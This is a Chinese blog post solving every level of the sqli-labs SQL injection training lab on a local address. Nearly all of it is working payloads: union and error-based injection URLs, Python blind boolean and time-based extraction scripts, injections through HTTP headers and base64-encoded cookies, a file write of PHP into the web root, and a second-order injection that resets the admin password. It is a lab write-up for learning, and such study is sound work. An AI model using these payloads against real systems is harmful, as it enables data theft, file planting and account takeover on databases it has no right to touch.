sqli-labs通关记录
环境搭建：https://www.cnblogs.com/kagari/p/11910749.html
总体感受：sqli-labs还是只适合入门
在此基础上添加了一个flag数据库，库名flag，表名flag，字段名flag
Less-1
http://172.16.124.149/Less-1/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-2
http://172.16.124.149/Less-2/?id=0%20union%20select%201,2,flag%20from%20flag.flag
Less-3
http://172.16.124.149/Less-3/?id=0%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-4
http://172.16.124.149/Less-4/?id=0%22)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-5
http://172.16.124.149/Less-5/?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-6
http://172.16.124.149/Less-6/?id=0%22%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-7
secure_file_priv=/var/www/html
/var/www/html root:root 755
/var/www/html/tmp root:root 777
http://172.16.124.149/Less-7/?id=1%27))%20union%20select%201,2,%27%3C?php%20phpinfo();%27%20into%20outfile%20%27/var/www/html/tmp/phpinfo.php%27%23
Less-8
import requests
url='http://172.16.124.149/Less-8/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0'^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'You are in' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-9
import requests
import time
url='http://172.16.124.149/Less-9/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0'^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23".format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-10
import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-11
post:
passwd=&uname=' union select 1,(select flag from flag.flag)%23
Less-12
post:
passwd=&uname=") union select 1,(select flag from flag.flag)%23
Less-13
post:
passwd=&uname=') union select%201,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-14
post:
passwd=&uname=" union select%201,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-15
import requests
import time
url='http://172.16.124.149/Less-15/'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="'^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.02))#".format(i=i,mid=hex(mid))
data={'passwd':'','uname':payload}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-16
import requests
import time
url='http://172.16.124.149/Less-16/'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='")^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.02))#'.format(i=i,mid=hex(mid))
data={'passwd':'','uname':payload}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-17
post:
passwd='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&uname=Dhakkan
Less-18
POST /Less-18/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 22
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: '^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2))),'','')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.124.149/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close uname=Dumb&passwd=Dumb
Less-19
POST /Less-19/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 22
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: '^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2))),'')#
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close uname=Dumb&passwd=Dumb
Less-20
GET /Less-20/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-21
base64编码：')^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
GET /Less-21/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname=JyleKHNlbGVjdCBjb3VudCgqKSBmcm9tIG15c3FsLnVzZXIgZ3JvdXAgYnkgY29uY2F0KChzZWxlY3QgZmxhZyBmcm9tIGZsYWcuZmxhZyksZmxvb3IocmFuZCgwKSoyKSkpIw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-22
base64编码："^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
GET /Less-22/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname=Il4oc2VsZWN0IGNvdW50KCopIGZyb20gbXlzcWwudXNlciBncm91cCBieSBjb25jYXQoKHNlbGVjdCBmbGFnIGZyb20gZmxhZy5mbGFnKSxmbG9vcihyYW5kKDApKjIpKSkj==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-23
http://172.16.124.149/Less-23/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag;%00
Less-24
由于字段长度限制20位，该题只能做到任意用户密码修改
注册：admin'#/123
登陆后修改密码：current_password=123&password=admin&re_password=admin&submit=Reset
admin的密码变为admin
update语句：UPDATE users SET PASSWORD='admin' where username='admin'#' and password='123'
Less-25
http://172.16.124.149/Less-25/?id=%27%20union%20select%201,flag,3%20from%20flag.flag%23
Less-25a
http://1172.16.124.149/Less-25a/?id=0%20union%20select%201,2,flag%20from%20flag.flag
Less-26
http://172.16.124.149/Less-26/?id=%27%a0union%a0select%a01,flag,3%a0from%a0flag.flag;%00
Less-26a
http://127.0.0.1:8080/Less-26a/?id=0%27)union%a0select%a01,2,flag%a0from%a0flag.flag;%00
Less-27
http://172.16.124.149/Less-27/?id=%27%a0uNion%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-27a
http://172.16.124.149/Less-27a/?id=%22%a0uNion%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-28
http://172.16.124.149/Less-28/?id=0%27)%a0uniOn%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-28a
http://172.16.124.149/Less-28a/?id=0%27)%a0uniOn%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-29
http://172.16.124.149/Less-29/?id=%27%20union%20select%201,flag,3%20from%20flag.flag;%00
Less-30
http://172.16.124.149/Less-30/?id=%22%20union%20select%201,flag,3%20from%20flag.flag%23
Less-31
http://172.16.124.149/Less-31/?id=%22)%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-32
http://172.16.124.149/Less-32/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-33
http://172.16.124.149/Less-33/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-34
post:
passwd=&uname=%df%27%20%20union%20select%20flag,3%20from%20flag.flag%23
Less-35
http://172.16.124.149/Less-35/?id=0%20union%20select%201,flag,3%20from%20flag.flag%23
Less-36
http://172.16.124.149/Less-36/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-37
post:
passwd=&uname=%df%27%20%20union%20select%20flag,3%20from%20flag.flag%23
Less-38
http://172.16.124.149/Less-38/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-39
http://172.16.124.149/Less-39/?id=0%20union%20select%201,2,flag%20from%20flag.flag%23
Less-40
http://172.16.124.149/Less-40/?id=%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-41
http://172.16.124.149/Less-41/?id=0%20union%20select%201,2,flag%20from%20flag.flag%23
Less-42
post:
login_password='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&login_user=Dhakkan&mysubmit=Login
Less-43
post:
login_password=')^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&login_user=Dhakkan&mysubmit=Login
Less-44
import requests
import time
url='http://172.16.124.149/Less-44/login.php'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="'^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.2))#".format(i=i,mid=hex(mid))
data={'login_password':payload,'login_user':'Dhakkan','mysubmit':'Login'}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-45
import requests
import time
url='http://172.16.124.149/Less-45/login.php'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="')^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.2))#".format(i=i,mid=hex(mid))
data={'login_password':payload,'login_user':'Dhakkan','mysubmit':'Login'}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-46
http://172.16.124.149/Less-46/?sort=1,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));
Less-47
http://172.16.124.149/Less-47/?sort=%27,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));%23
Less-48
import requests
import time
url='http://172.16.124.149/Less-48/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-49
import requests
import time
url='http://172.16.124.149/Less-49/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%27%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-50
http://172.16.124.149/Less-50/?sort=1,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));
Less-51
http://172.16.124.149/Less-51/?sort=%27,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));%23
Less-52
import requests
import time
url='http://172.16.124.149/Less-52/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-53
import requests
import time
url='http://172.16.124.149/Less-53/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%27%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-54
http://172.16.124.149/Less-54/index.php?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-55
http://172.16.124.149/Less-55/?id=0)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-56
http://172.16.124.149/Less-56/?id=%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-57
http://172.16.124.149/Less-57/?id=%22%20union%20select%201,2,flag%20from%20flag.flag%23
Less-58
http://172.16.124.149/Less-58/index.php?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-59
http://172.16.124.149/Less-59/?id=0%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-60
http://172.16.124.149/Less-60/?id=%22)%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-61
http://172.16.124.149/Less-61/?id=%27))%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-62
import requests
import time
url='http://172.16.124.149/Less-62/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0%27)^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-63
import requests
import time
url='http://172.16.124.149/Less-63/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0%27^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-64
import requests
import time
url='http://172.16.124.149/Less-64/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0))^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-65
import requests
import time
url='http://172.16.124.149/Less-65/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0")^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23'.format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
sqli-labs通关记录的更多相关文章
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQLI LABS Basic Part(1-22） WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 靶场练习-Sqli-labs通关记录（盲注）
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (5)第五关: 由于此处与前四关有明显的差别,故在此我 ...
- 靶场练习-Sqli-labs通关记录（1-4关）
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...
- upload-labs通关记录
upload-labs通关记录 一句话木马解读 一般的解题步骤 或者可以直接用字典爆破一下 https://github.com/TheKingOfDuck/fuzzDicts/blob/master ...
- SQL注入系列：SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli labs系列-less-5&6 报错注入法（上）
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
随机推荐
- Shell学习笔记：awk实现group by分组统计功能
日常部分数据以 txt 的文件格式提供,为避免入库之后再进行统计的麻烦,故学习 shell 进行处理,减少工作量. 1.样例数据 # test.txt YD5Gxxx|6618151|68254490 ...
- Android获取设备唯一码
String uuid = ""; String serial = null; String m_szDevIDShort = "35" + Build.BOA ...
- 跟着minium官网介绍学习minium-----（二）
一: 进入minium官方文档 1. 进入minium目录然后运行服务,出现以下提示说明打开成功, 2. 浏览器直接运行http://localhost:3000即可看到效果. 3. 下图为进入网页后 ...
- WebApplication 启动类一定要存于某个包下
否则spring启动器 无法识别 包类目录
- 深度学习—从LeNet到DenseNet
CNN从90年代的LeNet开始,21世纪初沉寂了10年,直到12年AlexNet开始又再焕发第二春,从ZF Net到VGG,GoogLeNet再到ResNet和最近的DenseNet,网络越来越深, ...
- C#中[STAThread]的作用
[STAThread]STAThread:Single Thread Apartment Thread.(单一线程单元线程)[]是用来表示Attributes: [STAThread]是一种线程模型, ...
- Git学习笔记08-远程仓库
因为想在家里和公司都能用到一套代码,所以选择上传到github,记录一下使用经验. 需要安装git,和注册github 以下操作是第一次将自己的代码上传到GitHub上 1)创建github项目 1. ...
- 微信PC版Hook研究思维导图
- 检测 gcc 是否支持 C99 标准的方法
一般来说 gcc 3.0 以上都是支持 C99 的 但是编译的时候得加上 -std=c99 检测 gcc 是否支持 C99 方法,新建 c99.c 文件,内容如下 #include <stdio ...
- MySQL中的连接、实例、会话、数据库、线程之间的关系
MySQL中的实例.数据库关系简介 1.MySQL是单进程多线程(而Oracle等是多进程),也就是说MySQL实例在系 统上表现就是一个服务进程,即进程(通过多种方法可以创建多实例,再安装一个端口号 ...